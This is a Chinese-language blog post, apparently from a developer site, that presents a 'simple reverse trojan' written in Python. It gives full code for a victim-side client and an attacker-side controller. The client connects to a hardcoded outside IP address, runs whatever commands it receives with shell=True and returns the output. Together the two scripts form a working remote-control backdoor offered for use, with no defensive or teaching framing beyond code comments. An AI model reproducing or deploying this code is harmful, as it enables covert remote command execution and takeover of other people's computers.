python编写简单的反向木马

python编写反向木马

命令执行是通过 subprocess 模块实现、window下可以正常执行不会出现乱码

  1. 被控端代码:
import socket
import subprocess
import time

def run_command(command):  # 命令执行函数

    command = command.rstrip()  # 返回删除 string 字符串末尾的指定字符后生成的新字符串 默认为空格
    try:  # stdout=subprocess.PIPE,stderr=subprocess.PIPE 标准输出和错误句柄,后面可以指定编码gbk才不会乱码
        child = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, encoding="gbk")


    except:
        child = '执行失败!!'

    return child


client = socket.socket()
client.connect(('18.201.16.54', 1234))
message = 'welcome'
client.send(message.encode(encoding='gbk'))

while True:

    # 接收控制端发来的命令
    data = client.recv(2048).decode(encoding='gbk')  # 字节不能太小 不然会重复发 出现粘包
    output = run_command(data)  # 执行命令
    client.send(data.encode(encoding='gbk'))
    client.send(output.stdout.encode(encoding='gbk'))  # 发送结果给客户端
    client.send(output.stderr.encode(encoding='gbk'))

client.close()



2.控制端代码:

import socketserver
import time


# 开放端口等待连接
# 创建一个请求处理类,这个类要继承socketserver模块下BaseRequestHandler类并重写handle()方法
# 首先执行setup 方法 再只想 handle方法  最后执行final()方法
class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):   # handle方法默认结束后断开链接 继续监听
        try:
            while True:
                # 给被控制端发送命令
                message = input('end quit!!>>>>').strip()  # strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
                if len(message) == 0:
                    continue
                if message == 'end':
                    break
                if not self.data:
                    print('connection lost')
                    break

                # 发送结果到客户端
                self.request.sendall(message.encode(encoding='gbk'))
                # time.sleep(1)
                # 获取命令执行结果
                self.data = self.request.recv(2048).decode(encoding='gbk')
                print(self.data)

        except Exception as e:
            print(self.client_address, '连接断开')  # self.client_address是元祖类型,凭借字符串要加','号
        finally:
            self.request.close()

    def setup(self):  #
        print(self.client_address, "连接建立:")
        self.data = self.request.recv(1024).decode(encoding='gbk')
        print(self.data)

    def finish(self):
        print("finish run")


if __name__ == "__main__":
    # 使用IP地址、端口 和我们创建的类 实例化 TCPServer
    server = socketserver.TCPServer(("18.201.16.54", 1234), MyTCPHandler)
    server.serve_forever()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值